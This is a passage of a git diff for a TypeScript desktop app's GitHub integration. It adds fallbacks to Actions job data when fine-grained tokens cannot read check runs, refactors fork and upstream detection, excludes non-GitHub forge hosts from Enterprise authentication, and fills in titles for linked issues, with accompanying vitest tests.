+      throw new Error(`unexpected ${path}`)
+    })
+
+    const details = await getPRCheckDetails('/repo-root', {
+      checkRunId: 71,
+      workflowRunId: 7,
+      checkName: 'pytest'
+    })
+
+    expect(details).toMatchObject({
+      name: 'pytest',
+      status: 'completed',
+      conclusion: 'success',
+      url: 'https://github.com/acme/widgets/actions/runs/7/job/71',
+      startedAt: '2026-11-10T10:00:00Z',
+      completedAt: '2026-11-10T10:05:00Z',
+      jobs: [{ id: 71, name: 'pytest', status: 'completed', conclusion: 'success' }]
+    })
+  })
 })
diff --git a/src/main/github/client/check/fine-grained-token-checks.test.ts b/src/main/github/client/check/fine-grained-token-checks.test.ts
new file mode 100644
index 00000000000..2f95c2a1689
--- /dev/null
+++ b/src/main/github/client/check/fine-grained-token-checks.test.ts
@@ -0,0 +1,131 @@
+import { describe, expect, it, vi } from 'vitest'
+
+const { ghExecFileAsyncMock } = vi.hoisted(() => ({ ghExecFileAsyncMock: vi.fn() }))
+
+vi.mock('../../gh-utils', async (importOriginal) => ({
+  ...(await importOriginal<Record<string, unknown>>()),
+  ghExecFileAsync: ghExecFileAsyncMock,
+  acquire: vi.fn(),
+  release: vi.fn()
+}))
+vi.mock('../../rate-limit', async (importOriginal) => ({
+  ...(await importOriginal<Record<string, unknown>>()),
+  noteRepositoryRateLimitSpend: vi.fn()
+}))
+vi.mock('../lookup/pr-lookup-rate-limit', () => ({ assertRateLimitBudget: vi.fn() }))
+
+import { getPRChecksViaRestFallback } from './get-pr-checks'
+
+function forbidden(path: string): Error {
+  return Object.assign(new Error(`Command failed: gh api ${path}`), {
+    stderr: 'gh: Resource not accessible by personal access token (HTTP 403)\n',
+    stdout: '{"message":"Resource not accessible by personal access token","status":"403"}'
+  })
+}
+
+function reply(body: unknown): { stdout: string; stderr: string } {
+  return { stdout: JSON.stringify(body), stderr: '' }
+}
+
+describe('PR checks for a token without the Checks permission', () => {
+  it('lists the head commit Actions jobs when check runs are refused', async () => {
+    ghExecFileAsyncMock.mockImplementation(async (args: string[]) => {
+      const path = args.at(-1) ?? ''
+      if (path.includes('/check-runs') || path.includes('/check-suites')) {
+        throw forbidden(path)
+      }
+      if (path.includes('/actions/runs?head_sha=sha-1&')) {
+        return reply({
+          total_count: 2,
+          workflow_runs: [
+            { id: 7, check_suite_id: 70, status: 'completed', conclusion: 'failure' },
+            { id: 8, check_suite_id: 80, status: 'completed', conclusion: 'action_required' }
+          ]
+        })
+      }
+      if (path.includes('/actions/runs/8/jobs?filter=latest&')) {
+        return reply({ total_count: 0, jobs: [] })
+      }
+      if (path.includes('/actions/runs/7/jobs?filter=latest&')) {
+        return reply({
+          total_count: 2,
+          jobs: [
+            {
+              id: 71,
+              run_id: 7,
+              name: 'pytest',
+              status: 'completed',
+              conclusion: 'failure',
+              html_url: 'https://github.com/acme/widgets/actions/runs/7/job/71'
+            },
+            {
+              id: 72,
+              run_id: 7,
+              name: 'compose',
+              status: 'queued',
+              conclusion: null,
+              html_url: 'https://github.com/acme/widgets/actions/runs/7/job/72'
+            }
+          ]
+        })
+      }
+      if (path.includes('/status?')) {
+        return reply({
+          total_count: 1,
+          statuses: [{ context: 'ci/jenkins', state: 'success', target_url: null }]
+        })
+      }
+      throw new Error(`unexpected ${path}`)
+    })
+
+    const checks = await getPRChecksViaRestFallback(
+      { owner: 'acme', repo: 'widgets', host: 'github.com' },
+      'sha-1',
+      { cwd: '/repo-root' }
+    )
+
+    expect(
+      checks?.map(({ name, status, conclusion, url, checkRunId, workflowRunId }) => ({
+        name,
+        status,
+        conclusion,
+        url,
+        checkRunId,
+        workflowRunId
+      }))
+    ).toEqual([
+      {
+        name: 'pytest',
+        status: 'completed',
+        conclusion: 'failure',
+        url: 'https://github.com/acme/widgets/actions/runs/7/job/71',
+        checkRunId: 71,
+        workflowRunId: 7
+      },
+      {
+        name: 'compose',
+        status: 'queued',
+        conclusion: 'pending',
+        url: 'https://github.com/acme/widgets/actions/runs/7/job/72',
+        checkRunId: 72,
+        workflowRunId: 7
+      },
+      {
+        name: 'ci/jenkins',
+        status: 'completed',
+        conclusion: 'success',
+        url: null,
+        checkRunId: undefined,
+        workflowRunId: undefined
+      },
+      {
+        name: 'GitHub Actions #80',
+        status: 'completed',
+        conclusion: 'action_required',
+        url: 'https://github.com/acme/widgets/commits/sha-1/checks#check-suite-80',
+        checkRunId: undefined,
+        workflowRunId: undefined
+      }
+    ])
+  })
+})
diff --git a/src/main/github/client/check/get-pr-check-details.ts b/src/main/github/client/check/get-pr-check-details.ts
index 7a80705dc37..94cd28a040f 100644
--- a/src/main/github/client/check/get-pr-check-details.ts
+++ b/src/main/github/client/check/get-pr-check-details.ts
@@ -23,6 +23,7 @@ import {
   runCheckDetailsCall
 } from './check-details-admission-lifetime'
 import { snapshotCheckJobLogExecution } from './check-job-log-execution'
+import { isCheckRunsPermissionDenied } from './rest-pr-check-pages'
 export async function getPRCheckDetails(
   repoPath: string,
   args: {
@@ -80,11 +81,20 @@ export async function getPRCheckDetails(
     let checkRun: Record<string, unknown> | null = null
     let output: Record<string, unknown> | null = null
     let annotations: PRCheckRunDetails['annotations'] = []
+    let checkRunReadRefused = false
     if (args.checkRunId) {
-      const { stdout } = await fetchMetadata([
-        'api',
-        `repos/${ownerRepo.owner}/${ownerRepo.repo}/check-runs/${args.checkRunId}`
-      ])
+      const checkRunPath = `repos/${ownerRepo.owner}/${ownerRepo.repo}/check-runs/${args.checkRunId}`
+      const { stdout } = await fetchMetadata(['api', checkRunPath]).catch((err: unknown) => {
+        if (!isCheckRunsPermissionDenied(err)) {
+          throw err
+        }
+        // Why: fine-grained tokens can't read check runs, but a job's id is its check run's id.
+        checkRunReadRefused = true
+        return fetchMetadata([
+          'api',
+          `repos/${ownerRepo.owner}/${ownerRepo.repo}/actions/jobs/${args.checkRunId}`
+        ])
+      })
       const parsed: unknown = JSON.parse(stdout)
       checkRun =
         parsed && typeof parsed === 'object' && !Array.isArray(parsed)
@@ -94,7 +104,10 @@ export async function getPRCheckDetails(
         checkRun?.output && typeof checkRun.output === 'object'
           ? Object.fromEntries(Object.entries(checkRun.output))
           : null
-      if (checkRun?.status !== 'completed' || output?.annotations_count !== 0) {
+      if (
+        !checkRunReadRefused &&
+        (checkRun?.status !== 'completed' || output?.annotations_count !== 0)
+      ) {
         try {
           const annotationsResult = await fetchMetadata([
             'api',
diff --git a/src/main/github/client/check/rest-pr-check-pages.ts b/src/main/github/client/check/rest-pr-check-pages.ts
index 82f89c9dc3c..cd02db6dfe6 100644
--- a/src/main/github/client/check/rest-pr-check-pages.ts
+++ b/src/main/github/client/check/rest-pr-check-pages.ts
@@ -1,4 +1,5 @@
 import { z } from 'zod'
+import { extractExecError } from '../../../git/exec-error'
 import { ghExecFileAsync } from '../../gh-utils'
 import { githubHostExecOptions, type GitHubApiRepository } from '../../github-api-repository'
 import { noteRepositoryRateLimitSpend } from '../../rate-limit'
@@ -24,6 +25,12 @@ const commitStatusSchema = z.object({
   target_url: z.string().nullish(),
   created_at: z.string().nullish()
 })
+const workflowRunSchema = z.object({
+  id: z.number(),
+  check_suite_id: z.number().nullish(),
+  status: z.string().nullable(),
+  conclusion: z.string().nullable()
+})
 const checkSuiteSchema = z.object({
   id: z.number().optional(),
   status: z.string().nullable(),
@@ -33,7 +40,6 @@ const checkSuiteSchema = z.object({
 
 async function readPages<T>(
   repository: GitHubApiRepository,
-  headSha: string,
   options: GhExecOptions,
   endpoint: string,
   field: string,
@@ -48,7 +54,8 @@ async function readPages<T>(
   let total: number | undefined
   for (let page = 1; ; page++) {
     await assertRateLimitBudget('core', repository, options)
-    const path = `repos/${repository.owner}/${repository.repo}/commits/${encodeURIComponent(headSha)}/${endpoint}?per_page=100&page=${page}`
+    const separator = endpoint.includes('?') ? '&' : '?'
+    const path = `repos/${repository.owner}/${repository.repo}/${endpoint}${separator}per_page=100&page=${page}`
     const { stdout } = await ghExecFileAsync(
       ['api', ...(noCache ? [] : ['--cache', '60s']), path],
       { ...options, ...githubHostExecOptions(repository) }
@@ -74,23 +81,89 @@ async function readPages<T>(
   }
 }
 
-export function readRestPRCheckRuns(
+function commitEndpoint(headSha: string, endpoint: string): string {
+  return `commits/${encodeURIComponent(headSha)}/${endpoint}`
+}
+
+// Why: fine-grained tokens cannot be granted the Checks permission, but can read Actions.
+export function isCheckRunsPermissionDenied(err: unknown): boolean {
+  const { stderr, stdout } = extractExecError(err)
+  const message = `${stderr}\n${stdout}\n${err instanceof Error ? err.message : ''}`
+  return message.toLowerCase().includes('resource not accessible by personal access token')
+}
+
+function readHeadWorkflowRuns(
+  repository: GitHubApiRepository,
+  headSha: string,
+  options: GhExecOptions,
+  noCache: boolean,
+  pageLimit?: number
+) {
+  return readPages(
+    repository,
+    options,
+    `actions/runs?head_sha=${encodeURIComponent(headSha)}`,
+    'workflow_runs',
+    workflowRunSchema,
+    noCache,
+    pageLimit
+  )
+}
+
+/** The head commit's Actions jobs as check runs; a job's id is its check run's id. */
+async function readActionsJobsAsCheckRuns(
+  repository: GitHubApiRepository,
+  headSha: string,
+  options: GhExecOptions,
+  noCache: boolean,
+  pageLimit?: number
+): Promise<z.infer<typeof checkRunSchema>[]> {
+  const runs = await readHeadWorkflowRuns(repository, headSha, options, noCache, pageLimit)
+  const checkRuns: z.infer<typeof checkRunSchema>[] = []
+  for (const run of runs) {
+    const jobs = await readPages(
+      repository,
+      options,
+      `actions/runs/${run.id}/jobs?filter=latest`,
+      'jobs',
+      checkRunSchema,
+      noCache,
+      pageLimit
+    )
+    for (const job of jobs) {
+      checkRuns.push({
+        ...job,
+        details_url: job.html_url,
+        check_suite: run.check_suite_id ? { id: run.check_suite_id } : null
+      })
+    }
+  }
+  return checkRuns
+}
+
+export async function readRestPRCheckRuns(
   repository: GitHubApiRepository,
   headSha: string,
   options: GhExecOptions,
   noCache = true,
   pageLimit?: number
 ) {
-  return readPages(
-    repository,
-    headSha,
-    options,
-    'check-runs',
-    'check_runs',
-    checkRunSchema,
-    noCache,
-    pageLimit
-  )
+  try {
+    return await readPages(
+      repository,
+      options,
+      commitEndpoint(headSha, 'check-runs'),
+      'check_runs',
+      checkRunSchema,
+      noCache,
+      pageLimit
+    )
+  } catch (err) {
+    if (!isCheckRunsPermissionDenied(err)) {
+      throw err
+    }
+    return readActionsJobsAsCheckRuns(repository, headSha, options, noCache, pageLimit)
+  }
 }
 
 export function readRestPRCommitStatuses(
@@ -102,9 +175,8 @@ export function readRestPRCommitStatuses(
 ) {
   return readPages(
     repository,
-    headSha,
     options,
-    'status',
+    commitEndpoint(headSha, 'status'),
     'statuses',
     commitStatusSchema,
     noCache,
@@ -112,23 +184,36 @@ export function readRestPRCommitStatuses(
   )
 }
 
-export function readRestPRCheckSuites(
+export async function readRestPRCheckSuites(
   repository: GitHubApiRepository,
   headSha: string,
   options: GhExecOptions,
   noCache = true,
   pageLimit?: number
-) {
-  return readPages(
-    repository,
-    headSha,
-    options,
-    'check-suites',
-    'check_suites',
-    checkSuiteSchema,
-    noCache,
-    pageLimit
-  )
+): Promise<z.infer<typeof checkSuiteSchema>[]> {
+  try {
+    return await readPages(
+      repository,
+      options,
+      commitEndpoint(headSha, 'check-suites'),
+      'check_suites',
+      checkSuiteSchema,
+      noCache,
+      pageLimit
+    )
+  } catch (err) {
+    if (!isCheckRunsPermissionDenied(err)) {
+      throw err
+    }
+    // Each workflow run is its own check suite, so approval blockers still surface.
+    const runs = await readHeadWorkflowRuns(repository, headSha, options, noCache, pageLimit)
+    return runs.map((run) => ({
+      id: run.check_suite_id ?? undefined,
+      status: run.status,
+      conclusion: run.conclusion,
+      app: { name: 'GitHub Actions' }
+    }))
+  }
 }
 
 /** REST rows in the GraphQL rollup's field names, so both reads give a check the same identity. */
diff --git a/src/main/github/client/fetch/repo-slug-upstream.ts b/src/main/github/client/fetch/repo-slug-upstream.ts
index 4cbf567f238..4184817e685 100644
--- a/src/main/github/client/fetch/repo-slug-upstream.ts
+++ b/src/main/github/client/fetch/repo-slug-upstream.ts
@@ -1,4 +1,12 @@
-import { ghExecFileAsync, acquire, release, type OwnerRepo } from '../../gh-utils'
+import {
+  ghExecFileAsync,
+  acquire,
+  release,
+  getRemoteUrlForRepo,
+  githubRepoContext,
+  parseGitHubRemoteIdentity,
+  type OwnerRepo
+} from '../../gh-utils'
 import {
   getHostedReviewLocalGitOptions,
   type HostedReviewExecutionOptions
@@ -10,6 +18,17 @@ import {
   resolveGitHubRepoExecution,
   type GitHubApiRepository
 } from '../../github-api-repository'
+import { withSharedRemoteUrlReads } from '../../../git/remotes/remote-url-probe'
+import { isStableMissingGitRemoteError } from '../../../git/remotes/stable-missing-git-remote-error'
+import {
+  normalizeForgeWebHost,
+  foldWwwHostAlias
+} from '../../../../shared/git/remotes/git-remote-host-alias'
+import {
+  gitHubSshConfigHostAlias,
+  effectiveGitHubRemoteHost
+} from '../../github-remote-identity-parsing'
+import { resolveSshConfigHostname } from '../../github-ssh-host-alias-resolution'
 import { hostedReviewLocalGitOptionArgs, sameOwnerRepo } from './../github-exec-scope'
 export async function getRepoSlug(
   repoPath: string,
@@ -23,55 +42,122 @@ export async function getRepoSlug(
   )
 }
 
-/** Best-effort fork parent for indicators/avatar selection; failures return null. */
+export type RepoUpstreamProbe = {
+  // Undefined is unavailable evidence, never a durable non-fork verdict.
+  upstream: OwnerRepo | null | undefined
+  origin: GitHubApiRepository | null
+}
+
+export async function probeRepoUpstream(
+  repoPath: string,
+  connectionId?: string | null,
+  options: HostedReviewExecutionOptions = {},
+  resolveParent = true
+): Promise<RepoUpstreamProbe> {
+  return withSharedRemoteUrlReads(async () => {
+    let origin: GitHubApiRepository | null = null
+    try {
+      const localGitOptions = hostedReviewLocalGitOptionArgs(options)[0] ?? {}
+      const context = githubRepoContext(repoPath, connectionId, localGitOptions)
+      let url: string | null
+      try {
+        url = await getRemoteUrlForRepo(context, 'origin')
+      } catch (error) {
+        if (isStableMissingGitRemoteError(error)) {
+          return { upstream: null, origin }
+        }
+        throw error
+      }
+      // An unserved remote host is not evidence of a missing origin.
+      if (url === null) {
+        return { upstream: undefined, origin }
+      }
+      const parsed = parseGitHubRemoteIdentity(url)
+      if (!parsed) {
+        return { upstream: null, origin }
+      }
+      let host = parsed.host
+      let hostResolved = true
+      const alias = gitHubSshConfigHostAlias(url)
+      if (alias) {
+        const resolved = await resolveSshConfigHostname(alias, context)
+        if (resolved.resolved && resolved.hostname) {
+          host = effectiveGitHubRemoteHost(host, resolved.hostname)
+        } else {
+          hostResolved = false
+        }
+      }
+      const forgeHost = normalizeForgeWebHost(foldWwwHostAlias(host))
+      if (hostResolved && (forgeHost === 'gitlab.com' || forgeHost === 'bitbucket.org')) {
+        return { upstream: null, origin }
+      }
+      const execution = await resolveGitHubRepoExecution(
+        repoPath,
+        undefined,
+        connectionId,
+        localGitOptions
+      )
+      origin = execution.ownerRepo
+      // Missing auth for an arbitrary custom host does not prove it is another forge.
+      if (!origin || !resolveParent) {
+        return { upstream: undefined, origin }
+      }
+      const upstream = await getGitHubApiRepositoryForRemote(
+        repoPath,
+        'upstream',
+        connectionId,
+        localGitOptions
+      )
+      if (upstream && !sameOwnerRepo(upstream, origin)) {
+        return { upstream, origin }
+      }
+      const controller = new AbortController()
+      const timer = setTimeout(() => controller.abort(), 10_000)
+      let acquired = false
+      try {
+        await acquire(controller.signal)
+        acquired = true
+        const { stdout } = await ghExecFileAsync(
+          ['repo', 'view', githubRepositorySlugArg(origin), '--json', 'isFork,parent'],
+          { ...execution.ghOptions, timeout: 10_000, signal: controller.signal }
+        )
+        const data = JSON.parse(stdout) as {
+          isFork?: boolean
+          parent?: { name?: string; owner?: { login?: string } } | null
+        }
+        if (data.isFork === false) {
+          return { upstream: null, origin }
+        }
+        const owner = data.parent?.owner?.login
+        const repo = data.parent?.name
+        return {
+          upstream:
+            data.isFork === true &&
+            typeof owner === 'string' &&
+            owner.trim() &&
+            typeof repo === 'string' &&
+            repo.trim()
+              ? { owner, repo, ...(origin.host ? { host: origin.host } : {}) }
+              : undefined,
+          origin
+        }
+      } finally {
+        clearTimeout(timer)
+        if (acquired) {
+          release()
+        }
+      }
+    } catch {
+      return { upstream: undefined, origin }
+    }
+  })
+}
+
+/** Compatibility callers receive null when optional metadata is unavailable. */
 export async function getRepoUpstream(
   repoPath: string,
   connectionId?: string | null,
   options: HostedReviewExecutionOptions = {}
 ): Promise<OwnerRepo | null> {
-  const localGitArgs = hostedReviewLocalGitOptionArgs(options)
-  const localGitOptions = localGitArgs[0] ?? {}
-  const { ownerRepo: origin, ghOptions } = await resolveGitHubRepoExecution(
-    repoPath,
-    undefined,
-    connectionId,
-    localGitOptions
-  )
-  if (!origin) {
-    return null
-  }
-  const upstreamRemote = await getGitHubApiRepositoryForRemote(
-    repoPath,
-    'upstream',
-    connectionId,
-    localGitOptions
-  )
-  if (upstreamRemote && !sameOwnerRepo(upstreamRemote, origin)) {
-    return upstreamRemote
-  }
-  await acquire()
-  try {
-    // Positional slugs bypass --repo qualification, so include the Enterprise host directly.
-    const { stdout } = await ghExecFileAsync(
-      ['repo', 'view', githubRepositorySlugArg(origin), '--json', 'isFork,parent'],
-      // Do not let optional metadata stall repository creation.
-      {
-        ...ghOptions,
-        timeout: 10_000
-      }
-    )
-    const data = JSON.parse(stdout) as {
-      isFork?: boolean
-      parent?: { name?: string; owner?: { login?: string } } | null
-    }
-    const owner = data.parent?.owner?.login
-    const repo = data.parent?.name
-    return data.isFork && owner && repo
-      ? { owner, repo, ...(origin.host ? { host: origin.host } : {}) }
-      : null
-  } catch {
-    return null
-  } finally {
-    release()
-  }
+  return (await probeRepoUpstream(repoPath, connectionId, options)).upstream ?? null
 }
diff --git a/src/main/github/github-enterprise-repository.test.ts b/src/main/github/github-enterprise-repository.test.ts
index 025609e3880..6a97404c2b7 100644
--- a/src/main/github/github-enterprise-repository.test.ts
+++ b/src/main/github/github-enterprise-repository.test.ts
@@ -33,6 +33,8 @@ import {
   isGitHubHostAuthenticated
 } from './github-enterprise-repository'
 import { _resetSshHostnameResolutionCache } from './github-ssh-host-alias-resolution'
+import { getRepoUpstream, probeRepoUpstream } from './client/fetch/repo-slug-upstream'
+import { _resetOriginGitHubApiRepositoryCache } from './github-api-repository'
 
 function mockOriginRemote(url: string): void {
   gitExecFileAsyncMock.mockImplementation(async (args: string[]) => {
@@ -65,6 +67,25 @@ describe('getEnterpriseGitHubRepoSlug', () => {
     resolveWithSshGMock.mockResolvedValue(null)
     _resetGitHubHostAuthCache()
     _resetSshHostnameResolutionCache()
+    _resetOriginGitHubApiRepositoryCache()
+  })
+
+  it.each([
+    ['https://bitbucket.org/team/orca.git', 'bitbucket.org'],
+    ['ssh://git@altssh.gitlab.com:443/team/orca.git', 'altssh.gitlab.com'],
+    ['https://codeberg.org/team/orca.git', 'codeberg.org']
+  ])('does not promote a foreign public remote from gh inventory: %s', async (url, host) => {
+    mockOriginRemote(url)
+    mockHostAuthenticated(host)
+    await expect(getEnterpriseGitHubRepoSlug('/repo')).resolves.toBeFalsy()
+    await expect(isGitHubHostAuthenticated(host, '/repo')).resolves.toBe(false)
+  })
+
+  it('uses the effective SSH hostname before admitting an Enterprise identity', async () => {
+    mockOriginRemote('git@work-forge:team/orca.git')
+    resolveWithSshGMock.mockResolvedValue({ hostname: 'bitbucket.org' })
+    mockHostAuthenticated('bitbucket.org')
+    await expect(getEnterpriseGitHubRepoSlug('/repo')).resolves.toBeNull()
   })
 
   it.each([
@@ -93,6 +114,29 @@ describe('getEnterpriseGitHubRepoSlug', () => {
       host: 'ghe.acme.com:8443'
     })
   })
+
+  it.each([true, false])(
+    'keeps the literal Enterprise host fallback when SSH expansion fails (authenticated=%s)',
+    async (authenticated) => {
+      mockOriginRemote('git@ghe.corp.example:org/app.git')
+      ghExecFileAsyncMock.mockImplementation(async (args: string[]) => ({
+        stdout:
+          args[0] === 'auth'
+            ? authenticated
+              ? 'ghe.corp.example\n  ✓ Logged in to ghe.corp.example account kelora (keyring)'
+              : ''
+            : JSON.stringify({ isFork: true, parent: { owner: { login: 'parent' }, name: 'app' } }),
+        stderr: ''
+      }))
+      const expected = { owner: 'parent', repo: 'app', host: 'ghe.corp.example' }
+      const result = await probeRepoUpstream('/repo')
+      expect(result.upstream).toEqual(authenticated ? expected : undefined)
+      await expect(getRepoUpstream('/repo')).resolves.toEqual(authenticated ? expected : null)
+      expect(ghExecFileAsyncMock.mock.calls.filter(([args]) => args[0] === 'repo')).toHaveLength(
+        authenticated ? 2 : 0
+      )
+    }
+  )
 })
 
 describe('isGitHubHostAuthenticated', () => {
diff --git a/src/main/github/github-enterprise-repository.ts b/src/main/github/github-enterprise-repository.ts
index a0d590a6fb7..89a50c28ef2 100644
--- a/src/main/github/github-enterprise-repository.ts
+++ b/src/main/github/github-enterprise-repository.ts
@@ -22,6 +22,7 @@ import { parseWslPath } from '../wsl/filesystem/unc-path-access'
 import { isStableMissingGitRemoteError } from '../git/remotes/stable-missing-git-remote-error'
 import { requireReachableGitRoute } from '../providers/execution-host-provider-dispatch'
 import { getConnectionExecutionHostId } from '../../shared/execution-host'
+import { getPublicForgeProviderForHost } from '../../shared/git/remotes/public-forge-host'
 
 export type GitHubEnterpriseRepoSlug = GitHubOwnerRepo & { host: string }
 
@@ -131,6 +132,10 @@ async function resolveAuthenticatedGitHubHost(
   connectionId?: string | null,
   localGitOptions: LocalGitExecOptions = {}
 ): Promise<string | null | undefined> {
+  const owner = getPublicForgeProviderForHost(host)
+  if (owner && owner !== 'github') {
+    return null
+  }
   const normalizedHost = normalizeGitHubHost(host)?.authority ?? host.trim().toLowerCase()
   const execOptions = ghRepoExecOptions(githubRepoContext(repoPath, connectionId, localGitOptions))
   const cacheKey = `${runtimeCacheKey(repoPath, connectionId, localGitOptions.wslDistro)}\0${normalizedHost}\0${githubReadExecutionScope(execOptions)}`
diff --git a/src/main/github/github-issue-link-title-fill.test.ts b/src/main/github/github-issue-link-title-fill.test.ts
new file mode 100644
index 00000000000..596fe38be6f
--- /dev/null
+++ b/src/main/github/github-issue-link-title-fill.test.ts
@@ -0,0 +1,100 @@
+import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'
+import { mkdtempSync, rmSync } from 'node:fs'
+import { join } from 'node:path'
+import { tmpdir } from 'node:os'
+import {
+  closeTestStores,
+  createStore,
+  makeRepo,
+  testState,
+  writeDataFile
+} from '../persistence/persistence-test-harness'
+import { getWorkspaceAttachments } from '../../shared/workspace-attachments/workspace-attachments'
+import { hostWorktreeTarget } from '../../shared/worktree/host-qualified-identity'
+import { installGitHubIssueLinkTitleFill } from './github-issue-link-title-fill'
+
+vi.mock('electron', () => ({
+  app: { getPath: () => testState.dir },
+  safeStorage: { isEncryptionAvailable: () => false }
+}))
+vi.mock('../telemetry/client', () => ({ track: vi.fn() }))
+vi.mock('../telemetry/cohort-classifier', () => ({ getCohortAtEmit: vi.fn() }))
+
+const target = hostWorktreeTarget({ id: 'repo::/work', hostId: 'local' })
+
+async function setup(readIssueTitle: () => Promise<string | null>) {
+  writeDataFile({ repos: [makeRepo({ id: 'repo', path: '/work' })] })
+  const store = await createStore()
+  const pending: (() => void)[] = []
+  const publish = vi.fn()
+  installGitHubIssueLinkTitleFill({
+    store,
+    readIssueTitle,
+    publish,
+    schedule: (run) => pending.push(run)
+  })
+  const settle = async (): Promise<void> => {
+    for (const run of pending.splice(0)) {
+      run()
+    }
+    await vi.waitFor(() => expect(readIssueTitle).toHaveBeenCalled())
+    await new Promise((resolve) => setImmediate(resolve))
+  }
+  return { store, settle, publish }
+}
+
+describe('GitHub issue link title fill', () => {
+  beforeEach(() => {
+    testState.dir = mkdtempSync(join(tmpdir(), 'orca-issue-link-title-'))
+  })
+  afterEach(async () => {
+    await closeTestStores()
+    rmSync(testState.dir, { recursive: true, force: true })
+  })
+
+  it('titles a bare linked issue without re-selecting a review the user had cleared', async () => {
+    const { store, settle, publish } = await setup(vi.fn(async () => 'Repair authentication'))
+    // A kept merge request with no review selected, as after the user clears the selection.
+    store.setWorktreeMeta(target, {
+      linkedItems: [{ provider: 'gitlab', type: 'mr', number: 5 }],
+      linkedPR: null,
+      linkedGitLabMR: null,
+      linkedBitbucketPR: null,
+      linkedAzureDevOpsPR: null,
+      linkedGiteaPR: null
+    })
+    store.setWorktreeMeta(target, { linkedIssue: 42 })
+    expect(store.getWorktreeMetaForHost('repo::/work', 'local')?.linkedGitLabMR ?? null).toBeNull()
+    await settle()
+
+    const meta = store.getWorktreeMetaForHost('repo::/work', 'local')
+    expect(getWorkspaceAttachments(meta)).toContainEqual(
+      expect.objectContaining({
+        provider: 'github',
+        type: 'issue',
+        number: 42,
+        title: 'Repair authentication'
+      })
+    )
+    expect(meta?.linkedIssue).toBe(42)
+    expect(meta?.linkedGitLabMR ?? null).toBeNull()
+    expect(publish).toHaveBeenCalledWith(
+      expect.objectContaining({ worktreeId: 'repo::/work', hostId: 'local' })
+    )
+  })
+
+  it('does not bring back a link removed while its title was being read', async () => {
+    let finish: (title: string) => void = () => {}
+    const read = vi.fn(() => new Promise<string | null>((resolve) => (finish = resolve)))
+    const { store, settle } = await setup(read)
+    store.setWorktreeMeta(target, { linkedIssue: 42 })
+    const settled = settle()
+    await vi.waitFor(() => expect(read).toHaveBeenCalled())
+    store.setWorktreeMeta(target, { linkedIssue: null })
+    finish('Repair authentication')
+    await settled
+
+    const links = getWorkspaceAttachments(store.getWorktreeMetaForHost('repo::/work', 'local'))
+    expect(links.filter((item) => item.provider === 'github' && item.type === 'issue')).toEqual([])
+  })
+})
diff --git a/src/main/github/github-issue-link-title-fill.ts b/src/main/github/github-issue-link-title-fill.ts
new file mode 100644
index 00000000000..bea7dcc0f3e
--- /dev/null
+++ b/src/main/github/github-issue-link-title-fill.ts
@@ -0,0 +1,166 @@
+import type { ExecutionHostId } from '../../shared/execution-host'
+import type { Repo } from '../../shared/repo-types'
+import type { WorktreeMeta } from '../../shared/worktree/meta-types'
+import type { WorkspaceAttachment } from '../../shared/worktree/types'
+import type { WorkspaceAttachmentMutation } from '../../shared/workspace-attachments/workspace-attachment-mutation'
+import { getWorkspaceAttachments } from '../../shared/workspace-attachments/workspace-attachments'
+import { WORKSPACE_ATTACHMENT_NUMBER_SLOTS } from '../../shared/workspace-attachments/workspace-attachment-legacy'
+import { getWorkspaceReferenceIdentity } from '../../shared/workspace-attachments/workspace-reference-identity'
+import {
+  hostWorktreeTarget,
+  type HostWorktreeTarget
+} from '../../shared/worktree/host-qualified-identity'
+import { getRepoIdFromWorktreeId } from '../../shared/worktree/id'
+import type { WorktreeMetaWriteListener } from '../persistence/loading-store/write-scheduling'
+import { findRepoRowForHostScopedWrite } from '../persistence/tracking-repos/repo-update-operations'
+
+export type GitHubIssueLinkTitleFillStore = {
+  onWorktreeMetaWritten: (listener: WorktreeMetaWriteListener) => () => void
+  getWorktreeMetaForHost: (worktreeId: string, hostId: ExecutionHostId) => WorktreeMeta | undefined
+  setWorktreeMeta: (
+    target: HostWorktreeTarget,
+    meta: Partial<WorktreeMeta> & WorkspaceAttachmentMutation
+  ) => WorktreeMeta
+  getRepos: () => Repo[]
+}
+
+type Job = {
+  worktreeId: string
+  hostId: ExecutionHostId
+  instanceId: string | undefined
+  identity: string
+  link: WorkspaceAttachment
+}
+
+function untitledGitHubIssues(meta: WorktreeMeta | undefined): WorkspaceAttachment[] {
+  return getWorkspaceAttachments(meta).filter(
+    (item) => item.provider === 'github' && item.type === 'issue' && !item.title?.trim()
+  )
+}
+
+/**
+ * Links made without a title (CLI `--issue N`, phones, typed numbers) get the issue's title once, on the
+ * host that owns the workspace, so search can match it without a client re-reading every linked issue.
+ */
+export function installGitHubIssueLinkTitleFill(deps: {
+  store: GitHubIssueLinkTitleFillStore
+  readIssueTitle: (repo: Repo, link: WorkspaceAttachment) => Promise<string | null>
+  // Addressed to the one workspace whose links changed; never a repo-wide refresh.
+  publish: (change: { worktreeId: string; hostId: ExecutionHostId; meta: WorktreeMeta }) => void
+  schedule?: (run: () => void) => void
+}): () => void {
+  const schedule = deps.schedule ?? ((run) => setImmediate(run))
+  const queue = new Map<string, Job>()
+  let draining = false
+  let disposed = false
+
+  // The job's link as it is now; null once removed, retitled or its workspace re-created.
+  const currentTarget = (job: Job) => {
+    const meta = deps.store.getWorktreeMetaForHost(job.worktreeId, job.hostId)
+    if (!meta || meta.instanceId !== job.instanceId) {
+      return null
+    }
+    const items = getWorkspaceAttachments(meta)
+    const index = items.findIndex(
+      (item) => getWorkspaceReferenceIdentity(item) === job.identity && !item.title?.trim()
+    )
+    return index === -1 ? null : { meta, items, index }
+  }
+
+  const apply = (job: Job, title: string): void => {
+    const target = currentTarget(job)
+    if (!target) {
+      return
+    }
+    const { meta, items, index } = target
+    const reviewSlots = WORKSPACE_ATTACHMENT_NUMBER_SLOTS.filter(([, , type]) => type !== 'issue')
+    // A cleared review selection must be restated or the merge re-picks one; a set one it keeps.
+    const keepClearedSelection = reviewSlots.every(([slot]) => (meta[slot] ?? null) === null)
+      ? Object.fromEntries(reviewSlots.map(([slot]) => [slot, null]))
+      : {}
+    const updated = deps.store.setWorktreeMeta(
+      hostWorktreeTarget({ id: job.worktreeId, hostId: job.hostId }),
+      {
+        ...keepClearedSelection,
+        linkedItemsBase: items,
+        linkedItems: items.map((item, i) => (i === index ? { ...item, title } : item))
+      }
+    )
+    deps.publish({ worktreeId: job.worktreeId, hostId: job.hostId, meta: updated })
+  }
+
+  const drain = async (): Promise<void> => {
+    if (draining) {
+      return
+    }
+    draining = true
+    try {
+      for (const [key, job] of queue) {
+        queue.delete(key)
+        if (disposed) {
+          return
+        }
+        try {
+          const repo = currentTarget(job)
+            ? findRepoRowForHostScopedWrite(
